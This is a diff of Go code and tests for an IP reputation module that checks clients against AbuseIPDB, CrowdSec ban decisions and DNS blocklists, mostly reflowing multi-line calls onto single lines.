@@ -603,11 +542,8 @@ func (s *abuseIPDBStandIn) RoundTrip(
 		status = http.StatusUnauthorized
 	case status == 0:
 		status = http.StatusOK
-		body = fmt.Sprintf(
+		body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
-			`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`,
+			score)
-			client,
-			score,
-		)
 	}
 
 	return &http.Response{
@@ -667,25 +603,15 @@ func newAbuseIPDB(
 // wantScore checks the score checker gives client, and whether it is a
 // hit, as a request from client finds them, offender or not.
 func wantScore(
-	t *testing.T,
+	t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
-	checker *reputation.AbuseIPDB,
+	score int64, hit bool,
-	client string,
-	offender bool,
-	score int64,
-	hit bool,
 ) {
 	t.Helper()
 
 	gotScore, gotHit := hitFrom(t, checker, client, offender)
 	if gotScore != score || gotHit != hit {
-		t.Errorf(
+		t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
-			"%s has the score %d, a hit %t, want %d, %t",
+			score, hit)
-			client,
-			gotScore,
-			gotHit,
-			score,
-			hit,
-		)
 	}
 }
 
@@ -693,10 +619,7 @@ func wantScore(
 // Its client is address for an IPv4 address, and its /64 for an IPv6 one,
 // as sww counts clients.
 func hitFrom(
-	t *testing.T,
+	t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
-	checker *reputation.AbuseIPDB,
-	address string,
-	offender bool,
 ) (int64, bool) {
 	t.Helper()
 
@@ -740,10 +663,7 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
 // the error failure, and that the cooldown has held back held repeats of
 // it.
 func wantFailureAlert(
-	t *testing.T,
+	t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
-	queue *alerts.Queue,
-	raised time.Time,
-	reason, failure string,
 	held int64,
 ) {
 	t.Helper()
@@ -753,15 +673,8 @@ func wantFailureAlert(
 		got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
 		got[0].Detail["source"] != reputation.AbuseIPDBSource ||
 		got[0].Detail["error"] != failure || queue.Suppressed() != held {
-		t.Errorf(
+		t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
-			"alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
+			"and %d", got, queue.Suppressed(), reason, failure, held)
-				"and %d",
-			got,
-			queue.Suppressed(),
-			reason,
-			failure,
-			held,
-		)
 	}
 }
 
@@ -779,11 +692,8 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
 	t.Helper()
 
 	scraped := httptest.NewRecorder()
-	m.ServeHTTP(
+	m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
-		scraped,
+		http.NoBody))
-		httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
-			http.NoBody),
-	)
 
 	return scraped.Body.String()
 }

internal/reputation/crowdsec_test.go

@@ -37,9 +37,7 @@ const (
 	rangeScope = "Range"
 )
 
-func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
+func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -50,13 +48,7 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
 			// A shorter decision on the same address, which is not the one
 			// used.
 			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
-			{
+			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
-				rangeScope,
-				"198.51.100.0/24",
-				ban,
-				probing,
-				began.Add(time.Hour),
-			},
 			{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
 			// Left out: a decision to show a captcha, and one on a country.
 			{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
@@ -82,28 +74,14 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
 		e.set(func(e *engine) { e.failing = true })
 		time.Sleep(time.Hour - time.Nanosecond)
 		synctest.Wait()
-		wantDecision(
+		wantDecision(t, lists, "198.51.100.7",
-			t,
+			reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
-			lists,
-			"198.51.100.7",
-			reputation.Decision{
-				Expires:  began.Add(time.Hour),
-				Scenario: probing,
-			},
-		)
 
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
-		wantDecision(
+		wantDecision(t, lists, suspect,
-			t,
+			reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
-			lists,
-			suspect,
-			reputation.Decision{
-				Expires:  began.Add(6 * time.Hour),
-				Scenario: manual,
-			},
-		)
 	})
 }
 
@@ -118,10 +96,7 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
 		lists := start(t, e, crowdSecParams())
 		wantEngineFetches(t, e, 1)
 
-		added := reputation.Decision{
+		added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
-			Expires:  began.Add(2 * time.Hour),
-			Scenario: probing,
-		}
 
 		e.set(func(e *engine) {
 			e.decisions = append(e.decisions,
@@ -150,58 +125,23 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
 			// 198.51.100.130 is held by a decision on its address that ends
 			// after the one on its netblock, and 192.0.2.20 by one that ends
 			// before.
-			{
+			{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
-				rangeScope,
-				"198.51.100.128/25",
-				ban,
-				sshBF,
-				began.Add(time.Hour),
-			},
 			{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
-			{
+			{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
-				rangeScope,
-				"192.0.2.0/24",
-				ban,
-				probing,
-				began.Add(5 * time.Hour),
-			},
 			{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
 		}}
 		lists := start(t, e, crowdSecParams())
 
-		wantDecision(
+		wantDecision(t, lists, suspect,
-			t,
+			reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
-			lists,
+		wantDecision(t, lists, "198.51.100.130",
-			suspect,
+			reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
-			reputation.Decision{
+		wantDecision(t, lists, "192.0.2.20",
-				Expires:  began.Add(4 * time.Hour),
+			reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
-				Scenario: probing,
-			},
-		)
-		wantDecision(
-			t,
-			lists,
-			"198.51.100.130",
-			reputation.Decision{
-				Expires:  began.Add(3 * time.Hour),
-				Scenario: probing,
-			},
-		)
-		wantDecision(
-			t,
-			lists,
-			"192.0.2.20",
-			reputation.Decision{
-				Expires:  began.Add(5 * time.Hour),
-				Scenario: probing,
-			},
-		)
 	})
 }
 
-func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
+func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -263,43 +203,27 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
 				}
 
 				wantEngineFetches(t, e, 3)
-				wantDecision(
+				wantDecision(t, lists, suspect,
-					t,
+					reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
-					lists,
-					suspect,
-					reputation.Decision{
-						Expires:  began.Add(4 * time.Hour),
-						Scenario: sshBF,
-					},
-				)
 
 				want := kept[0]
 				want.Tried = time.Now()
 
-				got := lists.Snapshot()
+				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
-				if !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
-					t.Errorf(
-						"lists %+v, want the first copy, last tried now, %+v",
-						got,
-						want,
-					)
 				}
 
-				if n := lists.Failures(decisionsURL); n != 2 {
+				if lists.Failures(decisionsURL) != 2 {
-					t.Errorf("%d failures, want 2", n)
+					t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
 				}
 
 				// One alert for the first failure; the cooldown holds back the
 				// second.
-				failed := time.Now().Add(-time.Minute)
+				wantAlert(t, queue,
-				alert := fetchFailure(failed, decisionsURL, tc.error)
+					fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
-				wantAlert(t, queue, alert)
 
-				if !strings.Contains(
+				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
-					log.String(),
+					`"url":"`+decisionsURL+`","error":"`+tc.error) {
-					`"msg":"fetching a list failed",`+
-						`"url":"`+decisionsURL+`","error":"`+tc.error,
-				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 
@@ -369,11 +293,7 @@ func crowdSecFailures() []crowdSecFailure {
 // log, the alerts waiting in queue, and the copies of lists, which
 // lists.json keeps.
 func wantKeyNotShown(
-	t *testing.T,
+	t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
-	e *engine,
-	log string,
-	lists *reputation.Lists,
-	queue *alerts.Queue,
 ) {
 	t.Helper()
 
@@ -395,21 +315,13 @@ func wantKeyNotShown(
 	}
 }
 
-func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
+func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
 		began := time.Now()
 		e := &engine{key: engineKey, decisions: []decision{
-			{
+			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
-				rangeScope,
-				"198.51.100.0/24",
-				ban,
-				probing,
-				began.Add(time.Hour),
-			},
 		}}
 		lists := start(t, e, crowdSecParams())
 		kept := lists.Snapshot()
@@ -430,10 +342,7 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
 
 		run(t, again)
 
-		want := reputation.Decision{
+		want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
-			Expires:  began.Add(time.Hour),
-			Scenario: probing,
-		}
 		wantDecision(t, again, "198.51.100.7", want)
 
 		time.Sleep(30*time.Minute - time.Nanosecond)
@@ -506,8 +415,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
 
 	e.fetches++
 
-	if req.URL.String() != decisionsURL &&
+	if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
-		req.Header.Get("X-Api-Key") != "" {
 		e.keySentTo = append(e.keySentTo, req.URL.String())
 	}
 
@@ -517,9 +425,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
 	case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
 		status, body = http.StatusForbidden, `{"message":"access forbidden"}`
 	case e.redirect != "":
-		status, header = http.StatusFound, http.Header{
+		status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
-			"Location": {e.redirect},
-		}
 	case e.failing:
 		status, body = http.StatusServiceUnavailable, ""
 	case body == "":
@@ -543,9 +449,7 @@ func (e *engine) inForce(now time.Time) string {
 	for _, d := range e.decisions {
 		if now.Before(d.expires) {
 			answer = append(answer, map[string]string{
-				"duration": d.expires.Sub(now).
+				"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
-					String(),
-				"origin":   "crowdsec",
 				"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
 			})
 		}
@@ -597,26 +501,13 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
 // wantDecision checks the decision lists says is in force on addr now,
 // the zero Decision for none.
 func wantDecision(
-	t *testing.T,
+	t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
-	lists *reputation.Lists,
-	addr string,
-	want reputation.Decision,
 ) {
 	t.Helper()
 
-	got, listed := lists.CrowdSecDecision(
+	got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
-		netip.MustParseAddr(addr),
-		time.Now(),
-	)
 	if listed != !want.Expires.IsZero() ||
-		listed &&
+		listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
-			(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
+		t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
-		t.Errorf(
-			"%s has the decision %+v in force %t, want %+v",
-			addr,
-			got,
-			listed,
-			want,
-		)
 	}
 }

internal/reputation/dnsbl.go

@@ -203,10 +203,7 @@ func (d *DNSBL) Snapshot() []Verdict {
 	d.mu.Unlock()
 
 	slices.SortFunc(verdicts, func(a, b Verdict) int {
-		return cmp.Or(
+		return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
-			a.Client.Compare(b.Client),
-			strings.Compare(a.Zone, b.Zone),
-		)
 	})
 
 	return verdicts
@@ -278,11 +275,7 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
 	ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
 	defer cancel()
 
-	answer, err := d.resolver.LookupNetIP(
+	answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
-		ctx,
-		"ip4",
-		queryName(q.zone, q.client),
-	)
 
 	var dnsErr *net.DNSError
 

internal/reputation/dnsbl_test.go

@@ -73,11 +73,7 @@ func TestMain(m *testing.M) {
 			return nil, errNoNetwork
 		},
 	}
-	_, _ = resolver.LookupNetIP(
+	_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
-		context.Background(),
-		"ip4",
-		"warm-up.invalid.",
-	)
 
 	m.Run()
 }
@@ -95,10 +91,8 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
 		)
 
 		resolver := &resolverStandIn{answers: map[string]answer{
-			"99.2.0.192." + zone + ".": {addrs: []string{listing}},
+			"99.2.0.192." + zone + ".":      {addrs: []string{listing}},
-			v6Name + otherZone + ".": {
+			v6Name + otherZone + ".":        {addrs: []string{"127.0.0.4", "127.0.0.10"}},
-				addrs: []string{"127.0.0.4", "127.0.0.10"},
-			},
 			"99.2.0.192." + otherZone + ".": {},
 		}}
 		dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
@@ -137,11 +131,8 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
 	})
 }
 
-//
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
-func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(
+func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
-	t *testing.T,
-) {
 	synctest.Test(t, func(t *testing.T) {
 		resolver := &resolverStandIn{answers: map[string]answer{
 			listedName: {addrs: []string{listing}},
@@ -207,11 +198,8 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
 	})
 }
 
-//
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
-func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
+func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
-	t *testing.T,
-) {
 	for _, tc := range []struct {
 		name   string
 		answer answer
@@ -242,12 +230,9 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
 				p := dnsblParams(zone)
 				p.Alerts = queue
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-				dnsbl := newDNSBL(
+				dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
-					&resolverStandIn{answers: map[string]answer{
+					listedName: tc.answer,
-						listedName: tc.answer,
+				}}, p)
-					}},
-					p,
-				)
 
 				// The failure gives no verdict, and the zone is not asked
 				// again within a minute of it.
@@ -273,17 +258,11 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
 					Time:   time.Now().Add(-time.Minute),
 					Event:  alerts.EventSourceFailure,
 					Reason: "asking a DNSBL zone failed",
-					Detail: map[string]any{
+					Detail: map[string]any{"source": zone, "error": tc.error},
-						"source": zone,
-						"error":  tc.error,
-					},
 				})
 
-				if !strings.Contains(
+				if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
-					log.String(),
+					`"zone":"`+zone+`","error":"`+tc.error) {
-					`"msg":"asking a DNSBL zone failed",`+
-						`"zone":"`+zone+`","error":"`+tc.error,
-				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
@@ -323,11 +302,8 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
 		synctest.Wait()
 
 		scraped := httptest.NewRecorder()
-		m.ServeHTTP(
+		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
-			scraped,
+			"/", http.NoBody))
-			httptest.NewRequestWithContext(t.Context(), http.MethodGet,
-				"/", http.NoBody),
-		)
 
 		for series, want := range map[string]string{
 			"queries_total" + `{instance="app",source="` + zone + `"}`:       "1",
@@ -372,32 +348,19 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
 		synctest.Wait()
 		wantZones(t, dnsbl, listed, masked)
 
-		if got := waiting(queue); len(got) != 1 ||
+		if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
-			got[0].Detail["source"] != masked {
+			t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
-			t.Errorf(
-				"alerts waiting %+v, want the failure's, from %s",
-				got,
-				masked,
-			)
 		}
 
 		scraped := httptest.NewRecorder()
-		m.ServeHTTP(
+		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
-			scraped,
+			"/", http.NoBody))
-			httptest.NewRequestWithContext(t.Context(), http.MethodGet,
-				"/", http.NoBody),
-		)
 
 		for name, shown := range map[string]string{
 			"the log": log.String(), "the metrics": scraped.Body.String(),
 		} {
-			if strings.Contains(shown, key) ||
+			if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
-				!strings.Contains(shown, masked) {
+				t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
-				t.Errorf(
-					"%s shows the key, or does not name the zone:\n%s",
-					name,
-					shown,
-				)
 			}
 		}
 	})
@@ -419,17 +382,8 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
 		kept := dnsbl.Snapshot()
 
 		want := []reputation.Verdict{
-			{
+			{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
-				Zone:    zone,
+			{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
-				Client:  netip.MustParseAddr(listed),
-				Listed:  true,
-				Fetched: fetched,
-			},
-			{
-				Zone:    zone,
-				Client:  netip.MustParseAddr(unlisted),
-				Fetched: fetched,
-			},
 		}
 		if !reflect.DeepEqual(kept, want) {
 			t.Errorf("verdicts %+v, want %+v", kept, want)
@@ -479,17 +433,12 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
 
 	dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
 
-	if got := dnsbl.Snapshot(); !reflect.DeepEqual(
+	if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
-		got,
-		[]reputation.Verdict{inUse},
-	) {
 		t.Errorf("verdicts %+v, want only %+v", got, inUse)
 	}
 }
 
-func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
+func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -517,10 +466,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
 	got := dnsbl.Snapshot()
 	if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
 		slices.Contains(got, verdicts[count-1]) {
-		t.Errorf(
+		t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
-			"%d verdicts kept, want all but the one fetched longest ago",
-			len(got),
-		)
 	}
 }
 
@@ -530,11 +476,7 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
 		listedName: {addrs: []string{listing}},
 	}}
 
-	conn, err := (&net.ListenConfig{}).ListenPacket(
+	conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
-		t.Context(),
-		"udp",
-		"127.0.0.1:0",
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -558,8 +500,7 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
 	// process held up for a whole minute would see the query fail.
 	p.Timeout = time.Minute
 
-	isListed, err := reputation.NewDNSBL(p).
+	isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
-		LookUp(zone, netip.MustParseAddr(listed))
 	if err != nil || !isListed {
 		t.Errorf("listed %t (%v), want true", isListed, err)
 	}
@@ -613,11 +554,7 @@ func (s *resolverStandIn) set(name string, given answer) {
 // dial connects Go's resolver to the stand-in through an in-memory
 // connection, on which it sends each query, and reads each reply, after
 // its length, as over TCP.
-func (s *resolverStandIn) dial(
+func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
-	context.Context,
-	string,
-	string,
-) (net.Conn, error) {
 	client, server := net.Pipe()
 
 	go s.serve(server)
@@ -653,10 +590,8 @@ func (s *resolverStandIn) serve(conn net.Conn) {
 		}
 
 		//nolint:gosec // a reply of a few dozen bytes
-		_, err = conn.Write(
+		_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
-			append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
+			reply...))
-				reply...),
-		)
 		if err != nil {
 			return
 		}
@@ -757,10 +692,7 @@ func waitForTheResolver() {
 }
 
 // newDNSBL returns the DNSBL of p, asking resolver.
-func newDNSBL(
+func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
-	resolver *resolverStandIn,
-	p reputation.DNSBLParams,
-) *reputation.DNSBL {
 	dnsbl := reputation.NewDNSBL(p)
 	dnsbl.SetDial(resolver.dial)
 
@@ -769,12 +701,7 @@ func newDNSBL(
 
 // wantZones checks the zones whose verdict dnsbl says lists client, as a
 // request from client finds them.
-func wantZones(
+func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
-	t *testing.T,
-	dnsbl *reputation.DNSBL,
-	client string,
-	want ...string,
-) {
 	t.Helper()
 
 	got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
@@ -785,21 +712,12 @@ func wantZones(
 
 // wantQueries checks how many queries dnsbl made to zone, and how many of
 // them failed.
-func wantQueries(
+func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
-	t *testing.T,
-	dnsbl *reputation.DNSBL,
-	queries, failures int,
-) {
 	t.Helper()
 
 	if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
-		t.Errorf(
+		t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
-			"%d queries and %d failures, want %d and %d",
+			dnsbl.Failures(zone), queries, failures)
-			dnsbl.Queries(zone),
-			dnsbl.Failures(zone),
-			queries,
-			failures,
-		)
 	}
 }
 

internal/reputation/reputation.go

@@ -45,16 +45,13 @@ const (
 )
 
 var (
-	errStatus      = errors.New("the server answered")
+	errStatus        = errors.New("the server answered")
-	errTooLong     = errors.New("the list is longer than 16 MiB")
+	errTooLong       = errors.New("the list is longer than 16 MiB")
-	errNotNetblock = errors.New(
+	errNotNetblock   = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
-		"is not an address or a netblock, such as 192.0.2.0/24",
-	)
 	errNotASNPercent = errors.New(
 		"is not an AS number, : and a percentage, such as AS64496:50")
 	errNotDecision = errors.New(
-		"does not give an address or a netblock and a duration, such as 4h0m0s",
+		"does not give an address or a netblock and a duration, such as 4h0m0s")
-	)
 )
 
 // List is a list as lists.json holds it: the URL it is fetched from,
@@ -229,10 +226,7 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
 // decision list on a netblock that holds addr and that ends last, and
 // whether it is still in force at now. A decision that has ended no
 // longer bans, even before the next fetch drops it.
-func (l *Lists) CrowdSecDecision(
+func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
-	addr netip.Addr,
-	now time.Time,
-) (Decision, bool) {
 	if l.params.CrowdSecDecisionsURL == "" {
 		return Decision{}, false
 	}
@@ -437,24 +431,12 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
 		// Raised before it is logged, so that the alert is there once the
 		// log line is.
 		raiseFailure(l.params.Alerts, failed, listURL, err)
-		l.params.ProcessLog.Warn(
+		l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
-			failed,
-			"url",
-			listURL,
-			"error",
-			err.Error(),
-		)
 
 		return
 	}
 
-	l.params.ProcessLog.Info(
+	l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
-		"fetched a list",
-		"url",
-		listURL,
-		"lines",
-		len(lines),
-	)
 }
 
 // raiseFailure raises a source_failure alert into queue, with reason, and
@@ -477,12 +459,7 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
 	ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
 	defer cancel()
 
-	req, err := http.NewRequestWithContext(
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
-		ctx,
-		http.MethodGet,
-		listURL,
-		http.NoBody,
-	)
 	if err != nil {
 		return nil, fmt.Errorf("make the request: %w", err)
 	}
@@ -593,10 +570,7 @@ func parseNetblock(text string) (netip.Prefix, bool) {
 		return netip.Prefix{}, false
 	}
 
-	return netip.PrefixFrom(
+	return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
-		netblock.Addr().Unmap(),
-		netblock.Bits()-mappedBits,
-	), true
 }
 
 // parsePercents reads the lines of the file of AS:percent lines, each an
@@ -654,8 +628,7 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
 	found := entries{decisions: map[netip.Prefix]Decision{}}
 
 	for i, decision := range answer {
-		if decision.Type != "ban" ||
+		if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
-			(decision.Scope != "Ip" && decision.Scope != "Range") {
 			continue
 		}
 
@@ -663,19 +636,12 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
 
 		duration, err := time.ParseDuration(decision.Duration)
 		if !ok || err != nil {
-			return entries{}, fmt.Errorf(
+			return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
-				"decision %d %w",
-				i+1,
-				errNotDecision,
-			)
 		}
 
 		expires := fetched.Add(duration)
 		if expires.After(found.decisions[netblock].Expires) {
-			found.decisions[netblock] = Decision{
+			found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
-				Expires:  expires,
-				Scenario: decision.Scenario,
-			}
 		}
 
 		if !slices.Contains(found.lengths, netblock.Bits()) {

internal/reputation/reputation_test.go

@@ -72,9 +72,7 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
 	})
 }
 
-func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(
+func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	now := time.Now()
@@ -128,9 +126,7 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		servers := &standIn{
+		servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
-			lists: map[string]string{dropURL: "203.0.113.9\n"},
-		}
 		lists := start(t, servers, params(dropURL))
 		began := time.Now()
 
@@ -146,21 +142,41 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
 		wantListedBy(t, lists, "203.0.113.9")
 		wantListedBy(t, lists, "203.0.113.10", dropURL)
 
-		if fetched := lists.Fetched(dropURL); !fetched.Equal(
+		if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
-			began.Add(refresh),
-		) {
 			t.Errorf("the copy in use was fetched at %s, want %s", fetched,
 				began.Add(refresh))
 		}
 	})
 }
 
-func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
+func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
-	for _, tc := range listFailures() {
+	for _, tc := range []struct {
+		name string
+		// fail has the stand-in answer the fetches after the first so that
+		// they fail with error.
+		fail  func(servers *standIn)
+		error string
+	}{
+		{
+			"an answer other than 200",
+			func(servers *standIn) { servers.set(dropURL, "") },
+			"the server answered 503 Service Unavailable",
+		},
+		{
+			"a line that does not read",
+			func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
+			"line 2 is not an address or a netblock, such as 192.0.2.0/24",
+		},
+		{
+			"a list longer than 16 MiB",
+			func(servers *standIn) {
+				servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
+			},
+			"the list is longer than 16 MiB",
+		},
+	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
@@ -189,13 +205,8 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
 				want := kept[0]
 				want.Tried = time.Now()
 
